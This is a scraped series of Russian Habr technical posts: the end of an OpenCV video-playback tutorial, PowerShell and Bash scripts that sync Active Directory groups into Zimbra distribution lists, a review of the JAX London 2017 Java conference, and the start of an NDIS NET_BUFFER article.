cvShowImage( “AVI Video”, frame );
char c = cvWaitKey(33);
if( c == 27 ) break;
}
cvReleaseCapture( &capture );
cvDestroyWindow( “AVI Video” );
}`
*Результат работы программы (кадр из фильма «Трансформеры»).*
Функции которые мы рассматривли в прошлом уроке, в этом описываться не будут.
`CvCapture* capture = cvCreateFileCapture( argv[1] );`
Данная функция принимает в качестве аргумента параметр в котором мы передаём путь считываемого AVI файла и возвращает указатель на структуру CvCapture. Эта структура хранит всю информацию о AVI файле.
`frame = cvQueryFrame( capture );`
Внутри цикла while(1) мы начинаем считывание AVI файла. cvQueryFrame() принмает в качестве аргумента указатель на структуру CvCapture. И затем с каждым циклом заносит в память следующий кадр видео. Указатель возвращается на этот кадр.
`char c = cvWaitKey(33);
if( c == 27 ) break;`
Когда мы отобразили очередной кадр, то мы ждём 33 миллисекунды (на самом деле вы можете поставить какую угодно задержку, но данная считается оптимальной для отображения 30 кадров в секунду, а 3 миллисекунды примите пока на веру:)) перед выводом следующего кадра. Если пользователь нажимает клавишу на клавиатуре, то функция cvWaitKey() передаёт переменной «с» ASCII код этой клавиши и если пользователь нажал Esc (ASCII 27), то тогда мы выходим из цикла, иначе проходит 33 мс и цикл продолжается.
`cvReleaseCapture( &capture );`
Так или иначе — цикл прервался (видео закончилось или была нажата клавиша Esc), тогда этой функцией мы высвобождаем память связанную со структурой CvCapture.
Вот и всё! Немного позже я расскажу о том, как добавить в наше приложение slidebar, чтобы можно было перематывать видео.
Удачи!;) | https://habr.com/ru/post/76723/ | null | ru | null |
# Создание и обновление списков рассылки в Zimbra Collaboration OSE на основе групп и пользователей Active Directory
### 1. Пара слов от автора
**Статья обновлена. Скрипты изменены. Добавлен скрипт для обновления одного списка рассылки.**
В комментариях к прошлой статье мне задали интересный вопрос об автоматическом формировании списков рассылки на основе групп безопасности AD. Есть задача – есть решение. Итак, поехали.
### 2. Исходные данные
*ОС сервера*: CentOS 7
**По поводу ОС**На самом деле разница между CentOS7 и любой другой системой будет заключаться исключительно в командах серверу на установку пакетов, и, возможно, расположении некоторых файлов. Работа ведется в основном с командлетами Zimbra, так что отличия настройки будут минимальны.
*Домен Zimbra*: zimbramail.home.local
*Путь монтирования шары на хосте Zimbra*: /mnt/ZM/
### 3. Настройка
1. Монтируем шару Windows к нашему Linux серверу. Это нужно для упрощения и автоматизации передачи данных из Windows PowerShell в Linux Bash. Процедура монтирования была описана в предыдущей статье. Не буду повторяться.
2. Создаем в AD отдельное OU, в котором создаем группы, на основе которых будут созданы списки рассылки в Zimbra. Имя группы = имя списка рассылки.
3. Добавляем в группы, созданные в новом OU, пользователей или группы безопасности, на основе которых будут наполняться списки рассылки в Zimbra. Скрипт отрабатывает рекурсивно, что значит, что он соберет все данные о пользователях, состоящих в группах, которые добавлены в группы в целевом OU. Подробнее о выводе команды [Get-ADGroupMember](https://docs.microsoft.com/en-us/powershell/module/addsadministration/get-adgroupmember?view=win10-ps).
4. Создаем скрипт сбора данных из Active Directory.
5. Создаем скрипт добавления листов рассылки и их наполнения пользователями на основе полученных данных в предыдущем скрипте.
6. Наслаждаемся.
#### 3.1. По поводу OU
Я создал OU “ZimbraDL” в корне домена и запретил ему наследование групповых политик, чтобы эти группы оставались обособленными. Они не будут участвовать в жизни домена никак, помимо формирования Distribution Lists в Zimbra Collaboration OSE.
### 4. Скрипт на PowerShell для сбора данных из AD
**Скрипт PowerShell**
```
$Path = "C:\ZM\ZimbraDL"
$enc = [system.text.encoding]
function ReCode ( $f, $t, $line )
{
$cp1 = $enc::getencoding( $f )
$cp2 = $enc::getencoding( $t )
$inputbytes = $enc::convert( $cp1, $cp2, $cp2.getbytes( $line ))
$outputstring = $cp2.getstring( $inputbytes )
$outputstring | add-content $OutputFile
}
#Очистка каталога
if(test-path $Path)
{
Remove-Item $Path -Recurse -Force
}
#Создание рабочих директорий
if(!(Test-Path $Path))
{
New-Item -ItemType Directory -Force -Path $Path
}
if(!(Test-Path $Path\Groups))
{
New-Item -ItemType Directory -Force -Path $Path\Groups
}
if(!(Test-Path $Path\Users))
{
New-Item -ItemType Directory -Force -Path $Path\Users
}
if(!(Test-Path $Path\UsersTemp))
{
New-Item -ItemType Directory -Force -Path $Path\UsersTemp
}
#Создание списка групп
Import-Module ActiveDirectory
Get-AdGroup -filter * -SearchBase "OU=ZimbraDL,DC=home,DC=local" | select samaccountname | Out-File $Path\Groups\GetGroupsAD.txt
#Форматирование списка групп
(Get-Content "$Path\Groups\GetGroupsAD.txt") -notmatch "samaccountname" | where {$_ -ne ""} | where {$_ -ne "--"} | Where-Object {$_ -notmatch '-'} | out-file "$Path\Groups\GetGroupsAD.txt"
$File = @(Get-Content $Path\Groups\GetGroupsAD.txt)
foreach ($File1 in $File)
{
$string=$File1.TrimStart('"')
$string=$string.TrimEnd('"')
$string=$string.TrimStart(' ')
$string=$string.TrimEnd(' ') | Out-File $Path\Groups\GroupsListTemp.txt -Append
}
#Удаление временного файла
Remove-Item $Path\Groups\GetGroupsAD.txt -Force
$InputFile = gc $Path\Groups\GroupsListTemp.txt
$OutputFile = "$Path\Groups\GroupsList.txt"
#Исправление кодировки
foreach ($line in $InputFile)
{
ReCode -f "windows-1251" -t "utf-8" $line
}
#Удаление временного файла
Remove-Item $Path\Groups\GroupsListTemp.txt -Force
#Создание файлов со списком пользователей для каждой группы
$GroupName = @(Get-Content $Path\Groups\GroupsList.txt)
Foreach ($Group in $GroupName)
{
Get-ADGroupMember $Group -recursive | ft SamAccountName | out-file "$Path\UsersTemp\$Group.txt" -Append
(get-content "$Path\UsersTemp\$Group.txt") -notmatch "Name" | where {$_ -ne ""} | where {$_ -ne "--"} | Where-Object {$_ -notmatch '-'} | out-file "$Path\UsersTemp\$Group.txt"
$File=@(Get-Content $Path\UsersTemp\$Group.txt)
foreach ($File1 in $File)
{
$string=$File1.TrimStart('"')
$string=$string.TrimEnd('"')
$string=$string.TrimStart(' ')
$string=$String.TrimEnd(' ') | Out-File "$Path\UsersTemp\$Group" -Append
}
$InputFile = gc $Path\UsersTemp\$Group
$OutputFile = "$Path\Users\$Group"
#Исправление кодировки
foreach ($line in $InputFile)
{
ReCode -f "windows-1251" -t "utf-8" $line
}
}
#Очистка лишних временных директорий
Remove-Item "$Path\UsersTemp\" -Recurse -Force
Remove-Item "$Path\Groups" -Recurse -Force
```
#### 4.1. Как работает скрипт
1. Сначала происходит проверка существования и удаление рабочей директории, если она существует. Это нужно, чтобы в процессе работы данные не задвоились.
2. PoSh смотрит в указанное OU, считывает группы пользователей, находящиеся в нем и записывает их в файл GetGroupsAD.txt
3. Отбрасывает из полученного файла все лишнее (PoSh пишет в файл весь свой вывод, так что в изначальном выводе команды первой строкой идет Name, второй строкой разделитель "----", и только после этого перечисляются группы по одной на строку), меняет кодировку с «windows-1251» на utf-8, результатом чего является другой файл GroupsList.txt
4. Далее на основе полученного файла считывается информация о пользовтелях групп, содержащихся в файле. Файлы, содержащие в себе имена пользователей (samAccountName)
помещаются в директорию \Users и называются по именам групп
#### 4.2. Скрипт для считывания информации с отдельно взятой группы
Скрипт с возможностью считать данные только одной группы безопасности мало чем отличается от предыдущего, в основм тем, что в нем есть блок с предложением пользователю ввести имя группы, на основе которой нужно будет обновить список рассылки.
**Скрипт PowerShell для запуска руками с возможностью считать данные только одной группы**
```
$Path = "C:\ZM\ZimbraDL"
$enc = [system.text.encoding]
function ReCode ( $f, $t, $line )
{
$cp1 = $enc::getencoding( $f )
$cp2 = $enc::getencoding( $t )
$inputbytes = $enc::convert( $cp1, $cp2, $cp2.getbytes( $line ))
$outputstring = $cp2.getstring( $inputbytes )
$outputstring | add-content $OutputFile
}
#Очистка каталога
if(test-path $Path)
{
Remove-Item $Path -Recurse -Force
}
#Создание рабочих директорий
if(!(test-path $Path))
{
New-Item -ItemType Directory -Force -Path $Path
}
if(!(Test-Path $Path\Groups))
{
New-Item -ItemType Directory -Force -Path $Path\Groups
}
if(!(Test-Path $Path\Users))
{
New-Item -ItemType Directory -Force -Path $Path\Users
}
if(!(Test-Path $Path\UsersTemp))
{
New-Item -ItemType Directory -Force -Path $Path\UsersTemp
}
#Создание списка групп
Import-Module ActiveDirectory
$Groupname = Read-Host 'Введите имя группы, которую нужно обновить, или ALL для обновления всех списков рассылки'
If ($Groupname -eq "ALL")
{
Get-AdGroup -filter * -SearchBase "OU=ZimbraDL,DC=home,DC=local" | select samaccountname | Out-File $path\Groups\GetGroupsAD.txt
}
Else
{
$Groupname > "$Path\Groups\GetGroupsAD.txt"
}
#Форматирование списка групп
(Get-Content "$Path\Groups\GetGroupsAD.txt") -notmatch "samaccountname" | where {$_ -ne ""} | where {$_ -ne "--"} | Where-Object {$_ -notmatch '-'} | out-file "$Path\Groups\GetGroupsAD.txt"
$File = @(Get-Content $Path\Groups\GetGroupsAD.txt)
foreach ($File1 in $File)
{
$string=$File1.TrimStart('"')
$string=$string.TrimEnd('"')
$string=$string.TrimStart(' ')
$string=$string.TrimEnd(' ') | Out-File $Path\Groups\GroupsListTemp.txt -Append
}
Remove-Item $Path\Groups\GetGroupsAD.txt -Force
$InputFile = gc $Path\Groups\GroupsListTemp.txt
$OutputFile = "$Path\Groups\GroupsList.txt"
foreach ($line in $InputFile)
{
ReCode -f "windows-1251" -t "utf-8" $line
}
Remove-Item $Path\Groups\GroupsListTemp.txt -Force
#Создание файлов со списком пользователей для каждой группы
$GroupName = @(Get-Content $Path\Groups\GroupsList.txt)
Foreach ($Group in $GroupName)
{
Get-ADGroupMember $Group -recursive | ft SamAccountName | out-file "$Path\UsersTemp\$Group.txt" -Append
(get-content "$Path\UsersTemp\$Group.txt") -notmatch "Name" | where {$_ -ne ""} | where {$_ -ne "--"} | Where-Object {$_ -notmatch '-'} | out-file "$Path\UsersTemp\$Group.txt"
$File=@(Get-Content $Path\UsersTemp\$Group.txt)
foreach ($File1 in $File)
{
$string=$File1.TrimStart('"')
$string=$string.TrimEnd('"')
$string=$string.TrimStart(' ')
$string=$String.TrimEnd(' ') | Out-File "$Path\UsersTemp\$Group" -Append
}
$InputFile = gc $Path\UsersTemp\$Group
$OutputFile = "$Path\Users\$Group"
foreach ($line in $InputFile)
{
ReCode -f "windows-1251" -t "utf-8" $line
}
}
Remove-Item "$Path\UsersTemp\" -Recurse -Force
Remove-Item "$Path\Groups" -Recurse -Force
```
### 5. Скрипт на Bash для создания списков рассылки
**Оговорюсь по поводу копирования файлов-скриптов, созданных под Windows**В прошлой статье был описан метод форматирования файлов с помощью команды cat, которая, будучи запущенная с определенным ключом, убирает все лишние нечитаемые символы. Ссылка на статью в конце статьи.
**Скрипт Bash**
```
#!/bin/bash
#Определение переменных
#Путь к рабочему каталогу
Path="/mnt/ZM/ZimbraDL"
#имя домена Zimbra
Domain="zimbramail.home.local"
#путь к командлету zmprov
zmprov="/opt/zimbra/bin/zmprov"
#путь к лог-файлу
log="/mnt/ZM/DLlog.txt"
#путь ко временному файлу со списком групп
DLnames="/mnt/ZM/DLnames"
#путь ко временному файлу со списком пользователей
UserNames="/mnt/ZM/Usernames"
#конец блока переменных
echo "Запись списка групп..."
ls $Path/Users > $DLnames
if [ $? -eq 0 ]; then
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [OK]"
echo
echo -en "ls directory for Groups correct $(date +%T)\n" >> $log
else
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [FAIL]"
echo
echo -en "ls directory for Groups INcorrect $(date +%T)\n" >> $log
fi
#Удаление списков рассылки
echo "Удаление обновляемых списков рассылки"
for DLname in $( cat $DLnames); do
#Проверка существования списка рассылки
echo "Проверка существования списка рассылки $DLname..."
Result=$($zmprov gdl $DLname@$Domain)
if [ $? -eq 0 ]; then
echo -n "$(tput hpa $(tput cols))$(tput cub 6)[OK]"
echo
echo -en "DL $DLname exist $(date +%T)\n" >> $log
#Удаление списка рассылки
echo -en "Start deleting DL for group $DLname $(date +%T)\n" >> $log
echo "Удаление списка рассылки $DLname..."
$zmprov ddl $DLname@$Domain
if [ $? -eq 0 ]; then
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [OK]"
echo
echo -en "DL for group $DLname is deleted in $(date +%T)\n" >> $log
else
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [FAIL]"
echo
echo -en "DL for group $DLname is NOT deleted in $(date +%T)\n" >> $log
fi
else
echo -n "$(tput hpa $(tput cols))$(tput cub 6)[FAIL]"
echo
echo -en "DL $DLname not exist! $(date +%T)\n" >> $log
fi
done
for DLname in $( cat $DLnames); do
#Создание списка рассылки
echo -en "Start create DL for group $DLname $(date +%T)\n" >> $log
echo "Создание списка рассылки для группы AD $DLname..."
$zmprov cdl $DLname@$Domain
if [ $? -eq 0 ]; then
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [OK]"
echo
echo -en "DL for group $DLname is created in $(date +%T)\n" >> $log
else
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [FAIL]"
echo
echo -en "DL for group $DLname is NOT created in $(date +%T)\n" >> $log
fi
#Наполнение списка рассылки
echo "Наполнение списка рассылки"
for UserName in $( cat $Path/Users/$DLname); do
echo "Проверка существования ящика для пользователя $UserName..."
Result=$($zmprov gmi $UserName@$Domain)
if [ $? -eq 0 ]; then
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [OK]"
echo
echo -en "MilBox for user $UserName exist $(date +%T)\n" >> $log
echo "Добавление пользователя $UserName в список рассылки $DLname@$Domain..."
$zmprov adlm $DLname@$Domain $UserName@$Domain
if [ $? -eq 0 ]; then
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [OK]"
echo
echo -en "User $UserName added in $DLname@$Domain correctly in $(date +%T)\n" >> $log
else
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [FAIL]"
echo
echo -en "DL for group $DLname is NOT created in $(date +%T)\n" >> $log
fi
else
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [FAIL]"
echo
echo -en "MilBox for user $UserName is NOT exist $(date +%T)\n" >> $log
fi
done
done
#Очистка временных файлов
echo "Очистка временных файлов"
echo "Очистка файла со списком групп..."
echo -n > $DLnames
if [ $? -eq 0 ]; then
echo -n "$(tput hpa $(tput cols))$(tput cub 6)[OK]"
echo
echo -en "File $DLnames was successfull cleared in $(date +%T)\n" >> $log
else
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [FAIL]"
echo
echo -en "File $DLnames was NOT cleared in $(date +%T)\n" >> $log
fi
#Удаление директорий, содержащих структуру групп и пользователей
echo "Удаление рабочего каталога $Path для очистки свободного пространства..."
rm -rf $Path
if [ $? -eq 0 ]; then
echo -n "$(tput hpa $(tput cols))$(tput cub 6)[OK]"
echo
echo -en "Directory $Path was seccessfull deleted in $(date +%T)\n" >> $log
else
echo -n "$(tput hpa $(tput cols))$(tput cub 6) [FAIL]"
echo
echo -en "Directory $Path was NOT deleted in $(date +%T)\n" >> $log
fi
#запись в лог-файл времени окончания обновления списков рассылки
echo -en "Job complete in $(date +%T)\n" >> $log
echo -en "____________________________________\n" >> $log
```
### 5.1. Как работает скрипт
1. Записать в файл список групп
2. Проверить существование списка рассылки в Zimbra, при существовании – удалить его
3. Поочередно создать списки рассылки на основе списка групп, наполняя каждый из них пользователями (на экран выводится ID списка рассылки, это стандартный вывод командлета zmprov при создании DL). При этом проверяется существование почтовых ящиков пользователей в Zimbra, и если ящика не существует, то пользователь не будет добавлен в список рассылки. Можно, конечно, создать пользователю новый почтовый ящик и добавить его в список рассылки, но я исходит из того, что Zimbra autoprov работает в режиме Eager, и если пользователь не создался автоматически, то ему и нечего делать в системе
4. Очистить временные файлы
5. Удалить рабочую директорию
### 6. Заключение
В целом, задача не сложная, проблема была лишь в передаче данных из PowerShell в Bash. Я довольно долго пытался найти инструмент для рекодирования текстовых файлов с выводом PoSh в удобоваримый для Bash вид. Результатом многодневных поисков стала функция:
**Функция рекодирования**
```
$InputFile = gc File1.txt
$OutputFile = "File2.txt"
$enc = [system.text.encoding]
function ReCode ( $f, $t, $line )
{
$cp1 = $enc::getencoding( $f )
$cp2 = $enc::getencoding( $t )
$inputbytes = $enc::convert( $cp1, $cp2, $cp2.getbytes( $line ))
$outputstring = $cp2.getstring( $inputbytes )
$outputstring | add-content $OutputFile
}
foreach ($line in $InputFile)
{
ReCode -f "windows-1251" -t "utf-8" $line
}
```
Может, кому-то будет полезно.
### 7. P.S.:
Это третья статья из серии «как я «Zimbra» внедрял». Первая, про внедрение, LDAP-авторизацию и автоматическое создание ящиков для пользователей AD, [вот тут](https://habr.com/ru/post/439440/). Вторая, про настройку резервного копирования и восстановления Zimbra целиком и отдельными ящиками – [тут](https://habr.com/ru/post/439728/).
### 8. P.S.S.:
Есть более простой способ, описанный [тут](https://habr.com/ru/post/495688/) товарищем [kiby75](https://habr.com/ru/users/kiby75/) | https://habr.com/ru/post/443166/ | null | ru | null |
# Java конференция с английскими корнями. Обзор размера XXXL
Друзья, мы с [kent2171](https://habrahabr.ru/users/kent2171/), моим коллегой из CleverDATA, побывали на одной из крупнейших конференций Европы – Jax London 2017, посвященной экосистеме Java и всему, что ее окружает в современном мире, – микросервисной архитектуре, Continuous Delivery, а также культуре и практикам DevOps.
Объем полученной за четыре дня информации оказался настолько огромным, что обзор пришлось разбить на две части. Сегодня мы предлагаем вашему вниманию первую часть, в которой расскажем о Chaos Engineering подходе к построению устойчивых распределенных систем, а также о том, как контейнеризация java-приложений сказывается на процессе разработки и какие преимущества кроме синтаксиса дают lambda выражения. Это основные моменты. Остальное — под катом.
[](https://habrahabr.ru/company/lanit/blog/346706/)
В том же месте в тот же час
---------------------------
JAX всегда, по моим наблюдениям, собирала большое количество участников. Успех подкрепляли спикеры с мировыми именами (например, Хенни Кевлин, Дэниел Брайант, Стивен Коулберн), с которыми можно было пообщаться вживую, задавая вопросы из зала, а также в перерывах и во время кофе-брейков.
2017 год не стал исключением, конференция длилась четыре дня и собрала невиданное ранее количество посетителей из более чем 40 стран мира. В первый и последний день были организованы воркшопы, а второй и третий день были посвящены докладам.
В этом году, впрочем, как и всегда, конференция проходила в центре Лондона в здании Business Design Center.
А вот другой, исторический фасад этого здания, известный лондонцам как Royal Agricultural Hall.
Из аэропорта Heathrow на конференцию можно попасть тремя способами. Самый дешевый, но при этом довольно удобный и комфортный – London Underground, из всех терминалов есть прямая ветка до станции Kings Cross. Маршрут занимает в среднем около часа. Нам было любопытно попробовать именно этот вид транспорта. Экспресс и такси – это вторая и третья альтернативы, но они значительно дороже.
День первый. Воркшоп Russ Miles
-------------------------------
### Production Microservices. Chaos from Order
«Production ненавидит вас. Машины, сеть, каждый пользователь вашего сервиса ненавидят вас. Это наша реальность, и это то, что превращает production в кровавое поле битвы», — так начался [воркшоп](https://jaxlondon.com/wp-content/uploads/2017/10/Running_Production_Microservices_Russ_Miles.pdf) Раса Майлса (Russ Miles) о Chaos Engineering – о том, как повысить стабильность приложений и идентифицировать возможные проблемы до того, как они произошли.
Chaos Engineering – практика, которая позволяет эмпирическим путем выявлять и в итоге устранять слабые стороны разрабатываемых систем и приложений, не позволяя изменениям в дальнейшем вносить регрессию в приложения.
Chaos Engineering. C чего начать?
**Архитектура и дизайн, готовый к Chaos Engineering**
Любая сложная распределенная система состоит из множества компонентов, и даже когда каждый отдельный компонент функционирует должным образом, взаимодействие между компонентами зачастую вызывает проблемы, из-за которых система в целом ведет себя непредсказуемо. При дизайне системы необходимо учитывать SLA всех компонентов, образующих систему, нужно стремиться минимизировать количество внешних зависимых систем, напрямую влияющих на доступность системы в целом.
**Гипотезы устойчивого состояния системы**
Понятие устойчивого состояния системы определяется из требований к системе:
* SLI (Service level indicators) – количественная характеристика (метрика) одного из аспектов уровня предоставляемого сервиса, например, пропускная способность, латентность, процент ошибок
* SLO (Service level objectives) – диапазон допустимых значений уровня предоставляемого сервиса, ограниченный с двух сторон SLI.
Имея представление об устойчивом состоянии системы, можно говорить о возможных отклонениях и о действиях, которые необходимо предпринять в том или ином случае.
Суть Chaos Engineering – имея значения метрик работы системы как результатов Chaos экспериментов, удостовериться, что система не работает, нежели пытаться проверить то, как она работает.
**Разработка сценариев Chaos экспериментов**
Имея представление об устойчивом состоянии системы, следующим шагом необходимо определить все возможные стресс-факторы, которые могут вывести систему из этого состояния. Например, проблемы, связанные с ограниченностью вычислительных ресурсов (сеть, CPU, память, дисковое пространство и т.д.), а также проблемы, возникающие на уровне системы (недоступность одного из зависимых сервисов, базы данных, и т.д.).
**Запуск Chaos экспериментов**
Начинать рекомендуется с «отладки» Сhaos сценариев, сбора результатов поведения системы в зависимости от окружения, в котором находится система.
**Автоматизация Chaos экспериментов**
Наконец, у нас все готово для автоматизации процесса: набор сценариев, состоящих из стресс-факторов и ожидаемое поведение системы в виде SLO. В качестве инструмента для автоматизации стрессовых сценариев рассматривался [Chaos Toolkit](https://github.com/chaostoolkit/chaostoolkit) – бесплатный инструмент, который отлично подходит для проведения Chaos-экспериментов с большинством платформ и приложений.
День второй. Лямбды, баги и Continuous delivery
-----------------------------------------------
В этот день на официальном открытии конференции с приветственным словом выступил Себастьян Мейен (Sebastian Meyen), а первый доклад был посвящен ответственности разработчиков за свой код и за пользователей, страдающих от различных багов.
### Henney Kevlin. The Error of Our Ways
Henney [приводит](https://jaxlondon.com/wp-content/uploads/2017/10/theerrorofourways-170209131632.pdf) последствия, казалось бы, незначительных проблем, приводящие к сбоям различного характера – от незначительных курьезов и утечек информации до весьма существенных материальных потерь, а иногда и до катастроф. Разумеется, большинство сбоев и катастроф можно избежать, всего лишь следуя простым и всем известным практикам.
А что если не следовать?
**Knight Capital Group, 2012 год**
В рамках обновления системы предполагалось декомитить (то есть по сути ликвидировать) старый функционал, не используемый более восьми лет. По причине [человеческого фактора](https://dougseven.com/2014/04/17/knightmare-a-devops-cautionary-tale/) один из восьми SMARS серверов не был обновлен и продолжил работать. За 45 минут компания потеряла $460 млн.
Любой процесс, в котором присутствует человеческий фактор, несет риски из-за возможности неверного объяснения, восприятия или выполнения требуемых действий.
**Cluster (spacecraft), 1996 год**
При запуске космического корабля Cluster произошло крушение из-за ошибки в программном обеспечении. Суть ошибки заключалась в неадекватной защите от целочисленного переполнения. Юнит-тест на граничные значения и переполнения стоил компании $370 млн.
[Анализ сбоев в распределенных системах](https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf) (Cassandra, HBase, HDFS, MapReduce, Redis), проведенный ассоциацией USENIX (Advanced Computing Technical Association), показал следующие интересные результаты.
* Почти все катастрофические сбои происходят в результате некорректной обработки некритичных ошибок приложения, которые явно дают о себе знать.
* Причину 58% катастроф можно обнаружить, всего лишь покрыв тестами код обработки ошибок приложений. Например, 35% ошибок из этой категории можно легко выявить с помощью статического анализа кода или кода ревью.
* 77% проблем может быть легко воспроизведено с помощью юнит-тестов.
### Simon Ritter (Azul Systems). Lambdas: It’s Java Jim, but not as we know it
Несмотря на то, что на момент этого доклада уже вышла Java 9, иногда полезно обернуться назад и посмотреть на lambda выражения – невероятно полезный и мощный инструмент, появившийся в предыдущем релизе Java платформы.
С помощью lambda выражений можно решить любую задачу, хотя это не всегда и рекомендуется (каждый инструмент должен решать ту задачу, для которой он создан).
Simon Ritter рассмотрел, какие же преимущества дает использование lambda выражения по сравнению с анонимными классами.
Для ответа на этот вопрос необходимо рассмотреть, во что же компилируется код в обоих случаях:
* лямбда выражения:
```
myList.forEach(w -> System.out.println(w));
```
* и анонимного класса:
```
myList.forEach(new Consumer() {
@Override
public void accept(String w) {
System.out.println(w);
}
});
```
Из названия «анонимный класс» следует, что мы по-прежнему имеем дело с классом. Поэтому компилятор сгенерирует класс.
Недостатки такого подхода:
* генерируется большое количество типов, чем на самом деле нужно приложению, что приводит к замусориванию типов (type pollution);
* анонимный класс – это по-прежнему класс, соответственно, в рантайме его необходимо загрузить и инициализировать;
* инстанцирование класса приводит к бОльшей нагрузки на память и на сборщик мусора;
* нестатический анонимный класс занимает больше места ввиду хранения ссылки на экземпляр класса, на который он ссылается.
Лямбда выражения потенциально могли бы быть синтаксическим сахаром и компилироваться подобным образом, как компилируются анонимные классы, но с появлением инструкции invokedynamic в jdk7 и началом ее использования компилятором в jdk-8 дела обстоят совсем иначе.
* Лямбда выражение конвертируется в метод:
— не захватывающие лямбда выражения и лямбда выражения, захватывающие статические переменные, конвертируются в статический метод класса, в котором они используются.
— лямбда, захватывающие ссылку на экземпляр класса, в котором они объявлены, конвертируется в метод этого класса.
* Вызов лямбда выражения компилируется в инструкцию invokedynamic, с которой при помощи мета-фабрики [LambdaMetafactor](https://docs.oracle.com/javase/8/docs/api/java/lang/invoke/LambdaMetafactory.html) ассоциируется CallSite – фабрики «функциональных объектов», имплементирующие один или несколько интерфейсов посредством делегирования в указанный [MethodHandle](https://docs.oracle.com/javase/8/docs/api/java/lang/invoke/MethodHandle.html).
Важно отметить преимущества использования лямбд.
* Создание экземпляров функциональных объектов – ленивое: если лямбда не используется, то нет никаких накладных расходов.
* Конвертация лямбда выражений в методы является более эффективным с точки зрения расхода памяти по сравнению с анонимными классами, особенно в случае захвата ссылки на экземпляр класса.
* Захват контекста лямбдами эффективно работает в многопоточной среде
В завершение в качестве примера того, как далеко можно зайти, используя лишь один функциональный интерфейс и lambda выражения, Simon Ritter продемонстрировал вычисление выражения 2+2. На [видео](https://www.youtube.com/watch?v=PbIBYxVyWNs) доклада можно проследить всю цепочку занимательного процесса.
### Continuous Delivery with Containers: The Good, the Bad, and the Ugly
Daniel Bryant, консультант, CTO в SpectoLabs, погрузился в область operations несколько лет назад. В [этом докладе](https://jaxlondon.com/wp-content/uploads/2017/10/Continuous_Delivery_with_Containers_The_Good__the_Bad__and_the_Ugly_Daniel_Bryant.pdf) он делится опытом о Continuous delivery java приложений в контейнерах.
Continuous delivery – набор практик и дисциплин, целью которых является непрерывный выпуск новых версий программного обеспечения в короткие промежутки времени. Основу данного процесса составляет build-pipeline, задача которого доказать, что изменения в коде соответствуют всем требованиям, необходимым для выпуска версии. Основная ценность build-pipeline – это мгновенная обратная связь в виде метрик, отражающих результат выполнения каждой фазы пайплайна.
Bryant рассказал о том, каким изменениям подвергается build-pipeline при контейнеризации Java приложений, перечислил лучшие практики, применимые к каждой фазе в отдельности.
**Разработка приложений**
Сборка и упаковка приложений в контейнеры и выполнение тестов происходит локально на машине разработчика.
Основные моменты:
* Содержимое Docker file-ов (выбор OS, конфигурации, открытие портов, JDK vs JRE, нужен ли Python Virtual env).
* Детали работы приложений/middleware в linux контейнерах. Для этого идеально привлекать команду operations для принятия лучших решений и практик. Их багаж знаний очень может пригодится в этот момент.
* Для локальных тестов необходимо использовать production образы контейнеров для исключения влияния конфигурации тестового контейнера на работу приложения.
**Continuous integration (выполнение юнит и интеграционных тестов)**
Публикацию Java артефактов (JAR, WAR и т.д.) заменяет публикация образов контейнеров в такие репозитории, как, например, Docker-hub.
Основные моменты:
* использование уже готовых инструментов для сборки и публикации образов, например, [Jenkins plugin](https://wiki.jenkins.io/display/JENKINS/CloudBees+Docker+Build+and+Publish+plugin);
* стоит избегать использования тэга *the latest* в качестве версии образа, обязательно использовать версионирование образов;
* использование метаданных для описания образа контейнера:
— метаданные приложения (версия/git sha);
— метаданные сборки (дата сборки, название образа, вендор и т.д.);
— метаданные QA;
существует [конвенция](http://label-schema.org/) для схемы метаданных;
* использование меток (label) в качестве метаданных приводит к созданию нового образа, что не всегда допустимо, в качестве обходного пути предлагается [хранение метаданных отдельно от образа](https://github.com/aquasecurity/manifesto). Jfrog Artifactory + Docker, а также NexussOSS поддерживают раздельную схему хранения метаданных.
**Component Testing (приемочные и нагрузочные тесты)**
Основные моменты:
* использование инструментов для описания и запуска мультиконтейнерных приложений (например, Docker Compose, [Ephemeral Kubernetes Clusters](https://github.com/datawire/kubernaut));
* использование готовых инструментов для запуска компонентных тестов например [Pipeline as Code with Jenkins](https://jenkins.io/solutions/pipeline/).
На этом я беру паузу. О докладах последних двух дней лондонской конференции расскажет мой коллега [kent2171](https://habrahabr.ru/users/kent2171/). Но это будет уже на следующей неделе. Подписывайтесь на блог, чтобы не пропустить.
**Кстати, в ЛАНИТ есть открытые вакансии для разработчиков Java*** [Разработчик Java. Направление Business Process Management](https://job.lanit.ru/vacancy/Pages/BPM-21.aspx?utm_source=habr&utm_medium=post-16-01&utm_campaign=habr)
* [Разработчик Java. Разработка облачной платформы по управлению большими данными](https://job.lanit.ru/vacancy/Pages/CD-02.aspx?utm_source=habr&utm_medium=post-16-01&utm_campaign=habr)
* [Старший разработчик Big Data](https://job.lanit.ru/vacancy/Pages/CD-15.aspx?utm_source=habr&utm_medium=post-16-01&utm_campaign=habr)
* [TeamLead Java](https://job.lanit.ru/vacancy/Pages/CH-127.aspx?utm_source=habr&utm_medium=post-16-01&utm_campaign=habr)
* [Ведущий разработчик Java](https://job.lanit.ru/vacancy/pages/ch-122.aspx/?utm_source=habr&utm_medium=post-16-01&utm_campaign=habr)
* [Разработчик Java](https://job.lanit.ru/vacancy/pages/ch-144.aspx/?utm_source=habr&utm_medium=post-16-01&utm_campaign=habr)
* [Старший разработчик Java](https://job.lanit.ru/vacancy/Pages/CH-128.aspx?utm_source=habr&utm_medium=post-16-01&utm_campaign=habr)
UPD: вторая часть обзора опубликована [здесь](https://habrahabr.ru/company/lanit/blog/346984/). | https://habr.com/ru/post/346706/ | null | ru | null |
# NDIS. NET_BUFFER architecture
Продолжаем [начатый](http://habrahabr.ru/blogs/windows/113233/) цикл статей о NDIS. В этом топике рассмотрим версии NDIS, и принципы передачи пакетов между драйверами «стека» и архитектуру NET\_BUFFER. 
#### Введение
Для начала разберемся с версиями NDIS и их особенностями в связи с тем, что их чуточку больше чем одна.
